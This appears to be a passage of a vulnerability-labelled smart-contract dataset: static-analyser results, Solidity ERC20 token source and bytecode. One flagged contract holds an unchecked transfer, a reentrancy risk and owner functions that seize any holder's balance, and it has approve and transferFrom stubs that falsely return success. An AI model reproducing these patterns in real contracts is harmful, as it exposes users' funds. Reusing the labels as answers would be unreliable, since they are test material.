{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,079
0x4857fb8f2d652069f7c2e9c8c94ca33a78a3ef46
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is PausableToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title O coin * @dev ERC20 0 Token */ contract CC is BurnableToken { string public name = "Community Coin"; string public symbol = "CC"; uint8 public decimals = 8; uint256 public constant INITIAL_SUPPLY = 100000000 * 10**uint256(8); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function CC() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e55780632ff2e9dc1461020d578063313ce567146102205780633f4ba83a1461024957806342966c681461025e5780635c975abb14610274578063661884631461028757806370a08231146102a95780638456cb59146102c85780638da5cb5b146102db57806395d89b411461030a578063a9059cbb1461031d578063d73dd6231461033f578063dd62ed3e14610361578063f2fde38b14610386575b600080fd5b341561010b57600080fd5b6101136103a5565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a0360043516602435610443565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d361046e565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a0360043581169060243516604435610474565b341561021857600080fd5b6101d36104a1565b341561022b57600080fd5b6102336104ac565b60405160ff909116815260200160405180910390f35b341561025457600080fd5b61025c6104b5565b005b341561026957600080fd5b61025c600435610534565b341561027f57600080fd5b6101ac6105ef565b341561029257600080fd5b6101ac600160a060020a03600435166024356105ff565b34156102b457600080fd5b6101d3600160a060020a0360043516610623565b34156102d357600080fd5b61025c61063e565b34156102e657600080fd5b6102ee6106c2565b604051600160a060020a03909116815260200160405180910390f35b341561031557600080fd5b6101136106d1565b341561032857600080fd5b6101ac600160a060020a036004351660243561073c565b341561034a57600080fd5b6101ac600160a060020a0360043516602435610760565b341561036c57600080fd5b6101d3600160a060020a0360043581169060243516610784565b341561039157600080fd5b61025c600160a060020a03600435166107af565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043b5780601f106104105761010080835404028352916020019161043b565b820191906000526020600020905b81548152906001019060200180831161041e57829003601f168201915b505050505081565b60035460009060a060020a900460ff161561045d57600080fd5b610467838361084a565b9392505050565b60005481565b60035460009060a060020a900460ff161561048e57600080fd5b6104998484846108b6565b949350505050565b662386f26fc1000081565b60065460ff1681565b60035433600160a060020a039081169116146104d057600080fd5b60035460a060020a900460ff1615156104e857600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a03331660009081526001602052604081205482111561055957600080fd5b5033600160a060020a03811660009081526001602052604090205461057e9083610a38565b600160a060020a038216600090815260016020526040812091909155546105ab908363ffffffff610a3816565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561061957600080fd5b6104678383610a4a565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461065957600080fd5b60035460a060020a900460ff161561067057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043b5780601f106104105761010080835404028352916020019161043b565b60035460009060a060020a900460ff161561075657600080fd5b6104678383610b44565b60035460009060a060020a900460ff161561077a57600080fd5b6104678383610c3f565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146107ca57600080fd5b600160a060020a03811615156107df57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156108cd57600080fd5b600160a060020a0384166000908152600160205260409020548211156108f257600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561092557600080fd5b600160a060020a03841660009081526001602052604090205461094e908363ffffffff610a3816565b600160a060020a038086166000908152600160205260408082209390935590851681522054610983908363ffffffff610ce316565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546109cb908363ffffffff610a3816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610a4457fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610aa757600160a060020a033381166000908152600260209081526040808320938816835292905290812055610ade565b610ab7818463ffffffff610a3816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610b5b57600080fd5b600160a060020a033316600090815260016020526040902054821115610b8057600080fd5b600160a060020a033316600090815260016020526040902054610ba9908363ffffffff610a3816565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bde908363ffffffff610ce316565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c77908363ffffffff610ce316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561046757fe00a165627a7a7230582030e9a4731f454443256c1126317078e815305547b1bbaf4bc43c86e192ef38740029
{"success": true, "error": null, "results": {}}
5,080
0xfab74b212c52e35722ceb0338db244390edd2887
pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20 { function totalSupply() public constant returns (uint256); function balanceOf(address tokenOwner) public constant returns (uint256 balance); function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } contract Owned { address public owner; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner returns (address account) { owner = newOwner; return owner; } } contract CSTKDropToken is ERC20, Owned { using SafeMath for uint256; string public symbol; string public name; uint256 public decimals; uint256 _totalSupply; bool public started; address public token; struct Level { uint256 price; uint256 available; } Level[] levels; mapping(address => uint256) balances; mapping(address => mapping(string => uint256)) orders; event TransferETH(address indexed from, address indexed to, uint256 eth); event Sell(address indexed to, uint256 tokens, uint256 eth); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(string _symbol, string _name, uint256 _supply, uint256 _decimals, address _token) public { symbol = _symbol; name = _name; decimals = _decimals; token = _token; _totalSupply = _supply; balances[owner] = _totalSupply; started = false; emit Transfer(address(0), owner, _totalSupply); } function destruct() public onlyOwner { ERC20 tokenInstance = ERC20(token); uint256 balance = tokenInstance.balanceOf(this); if (balance > 0) { tokenInstance.transfer(owner, balance); } selfdestruct(owner); } // ------------------------------------------------------------------------ // Changes the address of the supported token // ------------------------------------------------------------------------ function setToken(address newTokenAddress) public onlyOwner returns (bool success) { token = newTokenAddress; return true; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Changes the total supply value // // a new supply must be no less then the current supply // or the owner must have enough amount to cover supply reduction // ------------------------------------------------------------------------ function changeTotalSupply(uint256 newSupply) public onlyOwner returns (bool success) { require(newSupply >= 0 && ( newSupply >= _totalSupply || _totalSupply - newSupply <= balances[owner] )); uint256 diff = 0; if (newSupply >= _totalSupply) { diff = newSupply.sub(_totalSupply); balances[owner] = balances[owner].add(diff); emit Transfer(address(0), owner, diff); } else { diff = _totalSupply.sub(newSupply); balances[owner] = balances[owner].sub(diff); emit Transfer(owner, address(0), diff); } _totalSupply = newSupply; return true; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Start accept orders // ------------------------------------------------------------------------ function start() public onlyOwner { started = true; } // ------------------------------------------------------------------------ // Start accept orders // ------------------------------------------------------------------------ function stop() public onlyOwner { started = false; } // ------------------------------------------------------------------------ // Adds new Level to the levels array // ------------------------------------------------------------------------ function addLevel(uint256 price, uint256 available) public onlyOwner { levels.push(Level(price, available)); } // ------------------------------------------------------------------------ // Removes a level with specified price from the levels array // ------------------------------------------------------------------------ function removeLevel(uint256 price) public onlyOwner { if (levels.length < 1) { return; } Level[] memory tmp = levels; delete levels; for (uint i = 0; i < tmp.length; i++) { if (tmp[i].price != price) { levels.push(tmp[i]); } } } // ------------------------------------------------------------------------ // Replaces a particular level index by a new Level values // ------------------------------------------------------------------------ function replaceLevel(uint index, uint256 price, uint256 available) public onlyOwner { levels[index] = Level(price, available); } // ------------------------------------------------------------------------ // Clears the levels array // ------------------------------------------------------------------------ function clearLevels() public onlyOwner { delete levels; } // ------------------------------------------------------------------------ // Finds a level with specified price and returns an amount of available tokens on the level // ------------------------------------------------------------------------ function getLevelAmount(uint256 price) public view returns (uint256 available) { if (levels.length < 1) { return 0; } for (uint i = 0; i < levels.length; i++) { if (levels[i].price == price) { return levels[i].available; } } } // ------------------------------------------------------------------------ // Returns a Level by it's array index // ------------------------------------------------------------------------ function getLevelByIndex(uint index) public view returns (uint256 price, uint256 available) { price = levels[index].price; available = levels[index].available; } // ------------------------------------------------------------------------ // Returns a count of levels // ------------------------------------------------------------------------ function getLevelsCount() public view returns (uint) { return levels.length; } // ------------------------------------------------------------------------ // Returns a Level by it's array index // ------------------------------------------------------------------------ function getCurrentLevel() public view returns (uint256 price, uint256 available) { if (levels.length < 1) { return; } for (uint i = 0; i < levels.length; i++) { if (levels[i].available > 0) { price = levels[i].price; available = levels[i].available; break; } } } // ------------------------------------------------------------------------ // Get the order's balance of tokens for account `customer` // ------------------------------------------------------------------------ function orderTokensOf(address customer) public view returns (uint256 balance) { return orders[customer]['tokens']; } // ------------------------------------------------------------------------ // Get the order's balance of ETH for account `customer` // ------------------------------------------------------------------------ function orderEthOf(address customer) public view returns (uint256 balance) { return orders[customer]['eth']; } // ------------------------------------------------------------------------ // Delete customer's order // ------------------------------------------------------------------------ function cancelOrder(address customer) public onlyOwner returns (bool success) { orders[customer]['eth'] = 0; orders[customer]['tokens'] = 0; return true; } // ------------------------------------------------------------------------ // Checks the order values by the customer's address and sends required // promo tokens based on the received amount of `this` tokens and ETH // ------------------------------------------------------------------------ function _checkOrder(address customer) private returns (uint256 tokens, uint256 eth) { require(started); eth = 0; tokens = 0; if (getLevelsCount() <= 0 || orders[customer]['tokens'] <= 0 || orders[customer]['eth'] <= 0) { return; } uint256 decimalsDiff = 10 ** (18 - 2 * decimals); ERC20 tokenInstance = ERC20(token); uint256 balance = tokenInstance.balanceOf(this); uint256 orderEth = orders[customer]['eth']; uint256 orderTokens = orders[customer]['tokens'] > balance ? balance : orders[customer]['tokens']; for (uint i = 0; i < levels.length; i++) { if (levels[i].available <= 0) { continue; } uint256 _tokens = orderEth / levels[i].price / decimalsDiff; // check if there enough tokens on the level if (_tokens > levels[i].available) { _tokens = levels[i].available; } // check the order tokens limit if (_tokens > orderTokens) { _tokens = orderTokens; } uint256 _eth = _tokens * levels[i].price * decimalsDiff; levels[i].available -= _tokens; // accumulate total price and tokens eth += _eth; tokens += _tokens; // reduce remaining limits orderEth -= _eth; orderTokens -= _tokens; if (orderEth <= 0 || orderTokens <= 0) { // order is calculated break; } } // charge required amount of the tokens and ETHs orders[customer]['tokens'] = orders[customer]['tokens'].sub(tokens); orders[customer]['eth'] = orders[customer]['eth'].sub(eth); tokenInstance.transfer(customer, tokens); emit Sell(customer, tokens, eth); } // ------------------------------------------------------------------------ // public entry point for the `_checkOrder` function // ------------------------------------------------------------------------ function checkOrder(address customer) public onlyOwner returns (uint256 tokens, uint256 eth) { return _checkOrder(customer); } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // - only owner is allowed to send tokens to any address // - not owners can transfer the balance only to owner's address // ------------------------------------------------------------------------ function transfer(address to, uint256 tokens) public returns (bool success) { require(msg.sender == owner || to == owner || to == address(this)); address receiver = msg.sender == owner ? to : owner; balances[msg.sender] = balances[msg.sender].sub(tokens); balances[receiver] = balances[receiver].add(tokens); emit Transfer(msg.sender, receiver, tokens); if (receiver == owner) { orders[msg.sender]['tokens'] = orders[msg.sender]['tokens'].add(tokens); _checkOrder(msg.sender); } return true; } // ------------------------------------------------------------------------ // `allowance` is not allowed // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) { tokenOwner; spender; return uint256(0); } // ------------------------------------------------------------------------ // `approve` is not allowed // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { spender; tokens; return true; } // ------------------------------------------------------------------------ // `transferFrom` is not allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint256 tokens) public returns (bool success) { from; to; tokens; return true; } // ------------------------------------------------------------------------ // Accept ETH // ------------------------------------------------------------------------ function () public payable { owner.transfer(msg.value); emit TransferETH(msg.sender, address(this), msg.value); orders[msg.sender]['eth'] = orders[msg.sender]['eth'].add(msg.value); _checkOrder(msg.sender); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Owner can transfer out promo token // ------------------------------------------------------------------------ function transferToken(uint256 tokens) public onlyOwner returns (bool success) { return transferAnyERC20Token(token, tokens); } // ------------------------------------------------------------------------ // Owner can return specified amount from `tokenOwner` // ------------------------------------------------------------------------ function returnFrom(address tokenOwner, uint256 tokens) public onlyOwner returns (bool success) { balances[tokenOwner] = balances[tokenOwner].sub(tokens); balances[owner] = balances[owner].add(tokens); emit Transfer(tokenOwner, owner, tokens); return true; } // ------------------------------------------------------------------------ // Owner can return all tokens from `tokenOwner` // ------------------------------------------------------------------------ function nullifyFrom(address tokenOwner) public onlyOwner returns (bool success) { return returnFrom(tokenOwner, balances[tokenOwner]); } } contract CSTK_KRM is CSTKDropToken('CSTK_KRM', 'CryptoStock KRM Promo Token', 100000000 * 10**5, 5, 0x124c801606Be4b90bb46Fbb03fc0264B461B821B) { }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,081
0xb66db27fde1b4c413fd9b352c5182eda6da578f0
pragma solidity ^0.5.0; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced 